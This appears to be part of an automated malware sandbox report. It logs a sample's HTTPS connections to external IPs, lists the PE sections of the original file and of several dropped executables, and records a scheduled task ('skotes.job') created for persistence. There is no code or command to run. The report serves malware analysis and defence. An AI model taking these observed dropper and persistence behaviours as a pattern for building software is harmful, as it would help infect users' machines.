Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.10:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.11:443 -> 192.168.2.10:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.10:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.10:49837 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe.27.dr	Static PE information: section name: .idata
Source: random[1].exe.27.dr	Static PE information: section name:
Source: fb1f3ab244.exe.27.dr	Static PE information: section name:
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: .rsrc
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: .idata
Source: fb1f3ab244.exe.27.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CC3B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CC3B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CC3B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CBDF280

Source: C:\Users\user\DocumentsIDGHDGIDAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD35A0	0_2_6CBD35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1BCD4	0_2_6CC1BCD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16CF0	0_2_6CC16CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6C80	0_2_6CBE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDD4E0	0_2_6CBDD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC334A0	0_2_6CC334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3C4A0	0_2_6CC3C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFD4D0	0_2_6CBFD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE64C0	0_2_6CBE64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4545C	0_2_6CC4545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4AC00	0_2_6CC4AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC15C10	0_2_6CC15C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC22C10	0_2_6CC22C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4542B	0_2_6CC4542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE5440	0_2_6CBE5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC10DD0	0_2_6CC10DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC385F0	0_2_6CC385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFED10	0_2_6CBFED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEFD00	0_2_6CBEFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC00512	0_2_6CC00512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC476E3	0_2_6CC476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF5E90	0_2_6CBF5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3E680	0_2_6CC3E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDBEF0	0_2_6CBDBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEFEF0	0_2_6CBEFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC34EA0	0_2_6CC34EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC22E4E	0_2_6CC22E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC13E50	0_2_6CC13E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC46E63	0_2_6CC46E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC25600	0_2_6CC25600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC670	0_2_6CBDC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC17E10	0_2_6CC17E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF9E50	0_2_6CBF9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC39E30	0_2_6CC39E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF4640	0_2_6CBF4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06FF0	0_2_6CC06FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDDFE0	0_2_6CBDDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC277A0	0_2_6CC277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE9F00	0_2_6CBE9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC17710	0_2_6CC17710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC450C7	0_2_6CC450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC158E0	0_2_6CC158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC0E0	0_2_6CBFC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC060A0	0_2_6CC060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE7810	0_2_6CBE7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1F070	0_2_6CC1F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC24820	0_2_6CC24820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8850	0_2_6CBF8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFD850	0_2_6CBFD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC9A0	0_2_6CBDC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC15190	0_2_6CC15190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC32990	0_2_6CC32990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0D9B0	0_2_6CC0D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2B970	0_2_6CC2B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4B170	0_2_6CC4B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBED960	0_2_6CBED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFA940	0_2_6CBFA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18AC0	0_2_6CC18AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBECAB0	0_2_6CBECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD22A0	0_2_6CBD22A0
